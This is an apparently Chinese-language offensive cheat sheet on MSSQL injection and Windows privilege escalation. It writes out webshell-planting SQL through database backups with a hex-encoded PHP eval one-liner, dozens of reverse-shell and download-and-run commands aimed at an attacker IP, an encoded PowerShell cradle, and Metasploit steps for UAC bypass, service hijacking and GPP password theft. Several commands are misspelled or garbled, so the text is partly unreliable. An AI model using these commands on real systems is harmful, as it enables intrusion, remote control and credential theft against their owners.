#创建存储过程,单独执行
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
#执行命令
EXEC sp_cmdExec 'whoami';
#删除该程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];

DB_owner权限LOG备份提权

原理:无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马。

SQLServer常见的备份策略:

  • 每周一次完整备份
  • 每天一次差异备份
  • 每小时一次事务日志备份

 

利用前提

  • 目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该test数据库存在数据库备份文件,而且恢复模式得是 完整模式
  • 知道网站的绝对路径
  • 该注入支持堆叠注入
alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
create table cmd (a image);        #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init;   #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);  #插入一句话到cmd表里,0x3c3f70687020406576616c28245f504f53545b785d293b3f3e是<?php @eval($_POST[x]);?> 
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php';   #把操作日志备份到指定文件
drop table cmd;    #删除cmd表

 此时会在目标网站根目录下生成1.php和2.php文件,其中1.php 保存数据库,2.php就是我们需要连接的木马文件。

最后用用菜刀连接即可。

DB_owner权限差异备份提权

利用前提

  • 知道网站的绝对路径  C:\phpstudy\WWW\
  • 该注入支持堆叠注入

 注:以下语句一条一条执行

create table [dbo].[test] ([cmd] [image])
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate #这里第二行的 0x786965,是字符 xie 的16进制表示,这里随便填都可以
insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e) #0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示。
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate ##0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000是  C:\phpstudy\WWW\shell.php 的16进制表示
Drop table [test] 

 然后会在目标网站根目录下生成shell.php木马文件。

用菜刀连接即可。

相关文章转载出自SQLServer数据库注入详解_谢公子的博客-CSDN博客_sqlserver数据库注入

shell反弹命令的一些收集

关于WIndows系统的反弹shell命令的一些收集

1.这里我们运用metasploit框架下的exploit/multi/script/web_delivery模块进行反弹shell

msfconsole
use exploit multi/script/web_delivery
set srvhost=攻击者的ip
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set lhost 攻击者的ip
exploit -j

regsvr32 /s /n /u /i:http://攻击者的ip:8080/FN02yMxB82Y.sct scrobj.dll

 2.这里我们运用metasploit框架下的exploit/windows/smb/smb_delivery模块进行反弹shell

use exploit windows/smb/smb_delivery
set srvhost 本机ip
exploit -j

rundll32.exe \\攻击者的ip\dlsD\test.dll,0

3.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhorst=攻击者的ip lport=4444
-f hta-psh -o 1.hta
msf6> handler -p windows/x64/meterpreter/reverse_tcp -H 攻击者的ip -P 4444

python -m SimpleHTTPSever 8000

mshta.exe http://攻击者的ip:8000/1.hta

 4.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=1234
-f exe > shell.exe

python -m SimpleHTTPSever 8000

certuil.exe -urlcache -split -f http://攻击者的ip:8000/shell.exe shell.exe&shell.exe

certuil.exe -urlcache -split -f http://攻击者的ip:8000/shell.exe delete //删除

5.这里我们运用metasploit框架下的exploit/multi/script/web_delivery模块进行反弹shell。

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
expolit -j

powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0
AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsAT
gBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBssAHMAMQAyADsAJABwAFEATQBGA
D0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKA
BbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGY
AYQB1AGwAdABQAHIAbwB4AHkAAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHAAUQBNAEYALgB
wAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkA
cwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABwAFEATQBGAC4AUAByAG8AeAB5AC4AQwByz
AD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAd
QBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAG
oAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAAUwB0AHIAaQBuAGcAKAAnAGgAdA
B0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwA0AEEAaQB1AFk
AVQBmADQALwA0AFUAbQBQAHIAZAA1AGsAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBq
AGUAYwB0ACAATgBlAHQALgBXpAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQA
dABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAwADcAOgA4ADAAOAAwAC8ANABBAGkAdQBZA
FUAZgA0ACcAKQApADsA

6.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.107 lport=1234
-f msi > 1.msi

python -m SimpleHTTPServer 80

msiexec /q/i http://攻击者的ip/1.msi

 关于Linux系统的反弹shell命令的一些收集

被控端:nc -lvvp 6666 -e /bin/sh
控制端:nc 本机ip 6666
-------------------------------------------------------------------------
没有-e参数的反弹shell:
控制端:nc -lvvp 6666
被控端:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 攻击机ip 6666 >/tmp/f
-------------------------------------------------------------------------
控制端:nc -lvvp 6666
被控端:mknod backpipe p;nc 攻击者ip 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe
-------------------------------------------------------------------------
控制端:nc -lvvp 6666
被控端:bash -i >&/dev/tcp/攻击者ip/6666 0>&1
-------------------------------------------------------------------------
控制端:nc -lvvp 6666
被控端:exec 5<>/dev/tcp/攻击者ip/6666;cat <&5 | while read line;do $line 2>&5 >&5;done
bash64编码绕过:
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Lg1LzY2NjYgMD4mMQ==|base64 -d|bash -i"
-------------------------------------------------------------------------
Telnet:
控制端:nc -lvvp 6666
被控端:rm -f a && mknod a p && telnet 攻击者ip 6666 0<a | /bib/bash 1>a
-------------------------------------------------------------------------
Openssl反弹443端口:
1.在远程主机上生成密钥文件
openssl req -x509 -newkey rsa;4096 -keyout ket.pem -out cert.pem -days 365 -nodes
2.在远程主机上启动监视器
openssl s_sever -quiet -key key.pem -cert cert.pem -port 443
3.在目标机上反弹shell
mkfifo /tmp/s;bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 攻击者ip:端口 > /tmp/s;rm /tmp/s
---------------------------------------------------------------------------
python:
被控端:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 
控制端:nc -lvvp 7777
---------------------------------------------------------------------------
php:
被控端:php -r '$sock=fsockopen("攻击机ip",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
控制端:nc -lvvp 4444

关于反弹shell的命令数不胜数,这里就列举几个常用的吧,毕竟这种东西网上一搜一大堆... 

对于Windows系统的提权

在Windows系统中,权限大概分为四中,分别是:

*   User:普通用户权限
*   Administrator:管理员权限,可以利用Windows机制提升为System权限
*   System:系统权限
*   TrustedInstaller:Windows中最高权限。有些文件,连System权限也无法修改,只能TrustedInstaller权限修改。

内核溢出漏洞提权

背景:当我们通过反弹shell获得了普通用户的权限时首先我们要做的当然就是提权了。

  系统内核溢出漏洞提权是一种通用的提权的方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁。

方法一:手动执行命令

下面两个代码任选其一输入,可以了解系统信息

systeminfo
wmic qfe get Caption, Description, HotFixID, InstalledOn  //补丁的名称、介绍、ID、安装时间

攻击者利用方式:寻找提权的EXP,将已安装的补丁编号与提权的EXP进行对比,使用不在目标机里的编号EXP进行提权

wmic qfe get Caption, Description, HotFixID, InstalledOn | findstr /C:"KB3143141" /C:"KB2999226"

方法二:msf 后渗透模块 

当我们通过msf得到了一个会话后可以使用此方法,先将shell放置后台,然后我们执行以下命令,如果执行成功系统会自动返回可以利用的提权模块,不过有时并不百分之百准确。

use post/multi/recon/local_expolit_suggester
set session 1
run
缺点:不是所有的exp都可以利用

方法三:Windows Exploit Suggester

通过上传脚本文件进行提权:GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.

具体使用方法就自己上网查吧,这里稍微偷个懒。

方法四:PowerShell中的 Sherlock脚本

Sherlock 脚本下载地址:https://github.com/rasta-mouse/Sherlock

作用:快速查找可能用于本地权限提升的漏洞(只是寻找漏洞,而不是利用)

    MS10-015 : User Mode to Ring (用户模式到环 )(KiTrap0D)
    MS10-092 : Task Scheduler (任务计划程序)
    MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow (内核池溢出)
    MS13-081 : TrackPopupMenuEx Win32k NULL Page (Null 页面)
    MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference  (空指针接触引用)
    MS15-051 : ClientCopyImage Win32k
    MS15-078 : Font Driver Buffer Overflow  (字体驱动程序缓冲区溢出)
    MS16-016 : 'mrxdav.sys' WebDAV
    MS16-032 : Secondary Logon Handle  (辅助登录句柄)
    MS16-034 : Windows Kernel-Mode Drivers EoP  (内核模式驱动程序 EoP)
    MS16-135 : Win32k Elevation of Privilege  (特权提升)
    CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc

在系统的 Shell 环境下,调用 Sherlock 脚本。可以搜索单个漏洞,也可以搜索所有未安装的补丁。
 

import-module Sherlock.ps1
Find-AllVulns

Windows错误配置提权

当攻击者使用其他提权方法无法提权时,就会利用系统中的配置错误来提权。Windows操作系统中的常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。

系统服务权限配置错误提权

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows服务是以System权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。

PowerUp.ps1利用
PowerUp.ps1脚本是PowerSploit目录 Privsec 下的一个脚本,功能非常强大。拥有很多用来寻找目标主机Windows服务配置错误来进行提权的模块。当我们无法通过 windows 内核漏洞进行提权的话,这个时候我们就可以利用该脚本来寻找目标主机上Windows服务配置错误来进行提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权。
我们来看下该脚本下模块的功能:
***Service Enumeration(服务枚举)***

Get-ServiceUnquoted             //该模块返回包含空格但是没有引号的服务路径的服务      
Get-ModifiableServiceFile       //该模块返回当前用户可以修改服务的二进制文件或修改其配置文件的服务      
Get-ModifiableService           //该模块返回当前用户能修改的服务      
Get-ServiceDetail               //该模块用于返回某服务的信息,用法: GetServiceDetail servicename  服务名

***Service Abuse(服务滥用)***

Invoke-ServiceAbuse          //该模块通过修改服务来添加用户到指定组,并可以通过设置 -cmd 参数触发添加用户的自定义命令      
Write-ServiceBinary          //该模块通过写入一个修补的C#服务二进制文件,它可以添加本地管理程序或执行自定义命令,Write-ServiceBinary与Install-ServiceBinary不同之处自安于,前者生成可执行文件,后者直接安装服务        
Install-ServiceBinary        //该模块通过Write-ServiceBinary写一个C#的服务用来添加用户,      
Restore-ServiceBinary        //该模块用于恢复服务的可执行文件到原始目录,使用:Restore-ServiceBinary -servicename 服务名

***DLL Hijacking(DLL注入)***

Find-ProcessDLLHijack       //该模块查找当前正在运行的进程潜在的dll劫持机会。      
Find-PathDLLHijack          //该模块用于检查当前 %path% 的哪些目录是用户可以写入的      
Write-HijackDll             //该模块可写入可劫持的dll

***Registry Checks(注册审核)***

Get-RegistryAlwaysInstallElevated     //该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,则意味着SAM文件是以System权限运行的      
Get-RegistryAutoLogon                 //该模块用于检测Winlogin注册表的AutoAdminLogon项是否被设置,可用于查询默认的用户名和密码      
Get-ModifiableRegistryAutoRun         //该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径,被检查的注册表键值有以下:      
    HKLM\Software\Microsoft\Windows\CurrentVersino\Run      
    HKLM\Software\Microsoft\Windows\CurrentVersino\RunOnce      
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run      
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce      
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService      
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService      
    HKLM\Software\Microsoft\Windows\CurrentVersion\RunService      
    HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceService

***Miscellaneous Checks(杂项审核)***
 

Get-ModifiableScheduledTaskFile       //该模块用于返回当前用户能够修改的计划任务程序的名称和路径       
Get-Webconfig                         //该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文      
Get-ApplicationHost                   //该模块利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码      
Get-SiteListPassword                  //该模块检索任何已找到的McAfee的SiteList.xml文件的明文密码      
Get-CachedGPPPassword                 //该模块检查缓存的组策略首选项文件中的密码      
Get-UnattendedInstallFile             //该模块用于检查以下路径,查找是否存在这些文件,因为这些文件可能含有部署凭据       
    C:\sysprep\sysprep.xml      
    C:\sysprep\sysprep.inf      
    C:\sysprep.inf      
    C:\Windows\Panther\Unattended.xml      
    C:\Windows\Panther\Unattend\Unattended.xml      
    C:\Windows\Panther\Unattend.xml      
    C:\Windows\Panther\Unattend\Unattend.xml      
    C:\Windows\System32\Sysprep\unattend.xml      
    C:\Windows\System32\Sysprep\Panther\unattend.xml

***Other Helpers/Meta-Functions(其他一些模块的帮助)***

Get-ModifiablePath                 //该模块标记输入字符串并返回当前用户可以修改的文件      
Get-CurrentUserTokenGroupSid       //该模块返回当前用户参与的所有小岛屿发展中国家,无论它们是否已禁用。      
Add-ServiceDacl                    //该模块将dacl字段添加到get-service返回的服务对象中      
Set-ServiceBinPath                 //该模块通过Win 32 api方法将服务的二进制路径设置为指定的值。      
Test-ServiceDaclPermission         //该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改。如果能修改,则返回该服务对象。使用:Test-ServiceDaclPermission -servicename 服务名      
Write-UserAddMSI                   //该模块写入一个MSI安装程序,提示要添加一个用户。      
Invoke-AllChecks                   //该模块会自动执行 PowerUp.ps1 下所有的模块来检查目标主机是否存在服务配置漏洞

***检查是否存在配置错误漏洞(Invoke-Allchecks模块)***

powershell -exec bypass -c import-module .\PowerUp.ps1;Invoke-Allchecks -verbose

运行该脚本,该脚本会自动检查PowerUp.ps1下所有的模块,并在存在漏洞利用的模块下AbuseFunction中直接给出利用方法。VlunService服务存在漏洞,可以被利用。
 

 然后,我们需要执行下面的命令进行提权。

write-servicebinary -servicename vulnservice -username "offensive\alice" -password Password!  #该命令会在本目录下生成一个service.exe文件,该文件启动时会将用户offensive\alice提权到管理员组内。需要注意的是,这里的username必须是域内已经存在的用户,而password的话,则随便填,可以是这个域用户的正确密码,也可以随便指定密码,这对该域用户的密码无影响      
cp .\service.exe "c:\program files\vuln service\vulnservice.exe"  #复制本路径下的service.exe文件到指定的程序

然后我们要想办法重启系统,重启后会发现 offensive\alice 在管理员组内了。

msf利用

 在msf中也集成了这一利用模块exploit/windows/local/service_permissions

如果当前的已经是管理员权限,则该模块会尝试创建并运行一个新的服务。
如果当前是低权限,则该模块会判断哪些服务的文件或文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。

use exploit/windows/local/service_permissions
set session 1
set AutoRunScript migrate -f
run

注册表键AlwaysInstallElevated提权

Windows Installer是Windows操作系统的组件之一,专门用来管理和配置软件服务。Windows Installer除了是一个安装程序,还用于管理软件的安装、管理软件组件的添加和删除,监视文件的还原、通过回滚进行灾难恢复等。Windows Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分,它们是一起工作的Windows Installer通过Msiexec.exe安装MSI文件包含的程序。MSI是Windows Installer的数据表,它实际上是一个数据库,包含安装和卸载软件时需要使用大量的指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft Update安装更新或安装一些软件的时候使用,占用内存较多。简单的说,双击MSI文件就会运行Msiexec.exe。

注册表键AlwaysInstallElevated是一个策略设置项。Windows允许低权限用户已System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以System权限来安装恶意的MSI(MicrosoftWindows Installer)文件。

AlwaysInstallElevated提权原因,该漏洞产生的原因是用户开启了Windows Installer特权安装功能。

查看Windows installer特权功能是否已启用

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

下图是属于没有开启时的状态

 通过命令行启用

使用系统权限通过命令行修改注册表值为1(不过一般实战情况下不太可能)

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

下图属于开启时的状态

 msf利用

在msf框架中也集成了此漏洞的利用方式

首先先生成exe先获取一个meterpreter,然后使用exploit/windows/lcoal/always_install_elevated模块

use exploit/windows/lcoal/always_install_elevated
set session 1
run

 此处转载自bye_X。

Trusted Service Paths漏洞(可信任服务路径漏洞提权)

可信任服务路径(包含空格且没有引号的路径)漏洞利用了Windows文件路径解析的特性,并涉及服务路径的文件、文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

该漏洞存在如下两种可能性:

*   如果路径与服务有关,就任意创建一个服务或者编译Service模板。
*   如果路径与可执行文件有关,就任意创建一个可执行文件。

***可信任服务路径漏洞产生的原因***

因为Windows服务通常都是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限运行。例如,有一个文件路径"C:\\Program Files\\Some Folder\\Service.exe",对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。在本例中,Windows会依次尝试确定和执行下列程序:

*   C:\\Program.exe
*   C:\\Program Files\\Some.exe
*   C:\\Program Files\\Some Folder\\Service.exe

因此,如果一个被“适当”命名的可执行程序被上传到受影响的目录中,服务一旦重启,该程序就会以System权限运行。

msf利用

在msf中也有该漏洞的利用模块exploit/windows/local/unquoted_service_path。

use exploit/windows/local/unquoted_service_path
set session 1
set AutoRunScript migrate -f
run

计划任务提权

1.1 AT命令简介

AT命令是Windows XP中内置的命令,它也可以媲美Windows中的“计划任务”,而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序。

因为AT命令默认是以system权限下运行的所以我们可以利用以下命令,进行提权。
 

适用环境:Windows2003以前

at 13:38 /interactive cmd.exe  #在13:38以system权限打开cmd

等到13:38 cms打开,权限是system权限,提权成功。

二、SC命令

因为at命令在win7,win8等更高版本的系统上都已经取消掉了,所以在一些更高版本的windows操作系统上我们可以用sc命令进行提权,下面是sc的百度解释。

SC命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。

通俗理解就是 SC 可以启动一个服务。
 

适用范围: 适用于windows 7/8、03/08、12/16

sc Create systemcmd binPath= "cmd /K start" type= own type= interact #其中systemcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact, cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口。

sc start systemcmd #启动服务!

三、PS命令

适用范围: 适用于Win2003 & Win2008

微软官方工具包: https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

PS psexec.exe -accepteula -s -i -d cmd.exe

绕过UAC提权

UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。

需要UAC的授权才能进行的操作列表如下:

*   配置Windows Update
*   增加、删除账户
*   更改账户类型
*   更改UAC的设置
*   安装ActiveX
*   安装、卸载程序
*   安装设备驱动程序
*   将文件移动/复制到Program Files或Windows目录下
*   查看其它用户的文件夹

UAC有如下四种设置要求:

*   始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
*   仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
*   仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
*   从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

如何Bypass UAC

我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

以高权限运行的进程图标一般有如下标志:

 

 我们win10以ComputerDefaults.exe作为bypass案例,ComputerDefaults.exe进程图标确实有个uac的标志(然后你双击打开会发现并没有UAC提醒)

我们利用ProcessMonitor对该进程的行为做一个监听:

先寻找HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\Command 注册表,然后发现键值不存在,再寻找HKCR:\\ms-settings\\Shell\\Open\\Command\\DelegateExecute

因此当我们修改hkcu注册表后,运行ComputerDefaults.exe就会得到一个bypass uac后的cmd 

MSF下实战利用 

MSF中Bypassuac模块的使用前提有两个:

1.  一是系统当前用户必须在管理员组中,
2.  二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我” 

在msf的框架中集成了此漏洞的利用模块,在我们获得了一个seesions会话后执行以下代码。

use exploit/windows/local/bypassuac  #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。      
set seesion 1
run
use exploit/windows/local/bypassuac_injection  #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率
set seesion 1
run

Runas模块

使用 exploit/windows/local/ask 模块,需要使用 EXE::Custom 选项创建一个可执行文件(需要免杀),目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的shell。

使用该模块的前提:

当前用户必须在管理员组中 或 知道管理员的密码,对UAC的设置则没有要求。
 用户需要手动点击弹出的程序,是。

use exploit/windows/local/ask #创建一个可执行文件,目标机器会运行一个发起权限提升请求的程序,如果用户选择继续运行程序,就会返回一个高权限的用户
set session 1
run

Nishang中的Invoke-PsUACme.ps1

Invoke-PsUACme模块使用来自UACME项目的DLL绕过UAC.

 Nishang的下载地址:GitHub - samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security.

 Windows组策略首选项GPP提权

SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在 C:\\Windows\\SYSVOL\\DOMAIN\\Policies\\ 目录中。

 

 在一般的域环境中,所有机器都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员往往会修改本地管理员密码。尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。

常见的组策略首选项(Group Policy Preferences,GPP)列举如下:

*   映射驱动器(Drives.xml)
*   创建本地用户
*   数据源(DataSources.xml)
*   打印机配置(Printers.xml)
*   创建、更新服务(Services.xml)
*   计划任务(ScheduledTasks.xml)

组策略首选项提权

1:创建组策略,批量修改域中机器的本地管理员密码

2:获取组策略的凭据

管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。在SYSVOL中搜索,可以找到Groups.xml文件。找到其中的cpassword字段,该字段是用AES-256算法加密的,root@123456 加密后的密文为Yw6hqEEKPZtyKUXpWd5UhxEZ13DAe64s9w8U7Sq55uw 。文件的路径在C:\Windows\SYSVOL\domain\Policies\{ABDAFB3B-920B-4A1A-9B47-B0D8721244D4}\Machine\Preferences\Groups\Group.xml

 

 使用PowerShell获取cpassword

PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的密码。注意,我们只需要在域内任何一台以域用户权限登录的机器上均可查询到。

Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword

PowerSploit的下载地址:GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework

使用MSF获取cpassword

MSF中 post/windows/gather/credentials/gpp  模块可以获取组策略中的密码。注意,我们只需要获取域内任何一台以域用户权限登录的机器的权限即可。

use post/windows/gather/credentials/gpp      
set session 1      
run

COM组件提权

COM组件是微软开发的一种新软件开发技术,在这个COM框架的下,可以开发出多功能的组件,可以根据自己的需求进行定制开发,替换旧的组件,多个功能组件组合到一起,从而形成了一个复杂的定制化多功能系统。

影响版本

  • Windows10,包括1511、1607、1703这三个版本

  • Windows 7 SP1

  • Windows 8.1、RT8.1

  • Windows Server 2008 SP2、2008R2 SP1

  • Windows Server 2012、2012R2

  • Windows Server 2016

 MSF利用

在msf框架中也集成了该模块 exploits/windows/local/bypassuac_comhijack,在我们获得了一个seesion会话后执行以下命令提权。

use exploits/windows/local/bypassuac_comhijack
set session 1
run

Other

这里在写一些其它的提权方式

通过KiTrap0D提升Windows权限

#此模块将通过KiTrap0D exploit创建具有SYSTEM权限的新会话,如果当前使用的会话权限已提升,则exploit将不会运行。该模块依赖于kitrap0d.x86.dll,因此在x64版本的Windows上不受支持。
#该模块已在32位的Windows Server 2003,Windows Server 2008,Windows 7和XP易受攻击版本上进行了测试。
use exploit/windows/local/ms10_015_kitrap0d
set lhost xx.xx.xx.xx
set session 1
exploit #一但exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid

Windows TrackPopupMenu Win32k NULL指针解引用

#此模块利用了win32k.sys中的NULL指针解引用,漏洞可通过TrackPopupMenu函数进行触发。在特殊情况下,我们可以滥用在xxxSendMessageTimeout上的NULL指针解引用,来实现任意代码执行操作。
#该模块已在Windows XP SP3,Windows Server 2003 SP2,Windows 7 SP1 Windows Server 2008 32位和Windows Server 2008 R2 SP1 64位上进行了测试。
use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid

Windows ClientCopyImage Win32k Exploit

Windows内核模式驱动程序特权提升漏洞。此模块利用了win32k.sys内核模式驱动程序中的不正确对象处理进行提权。
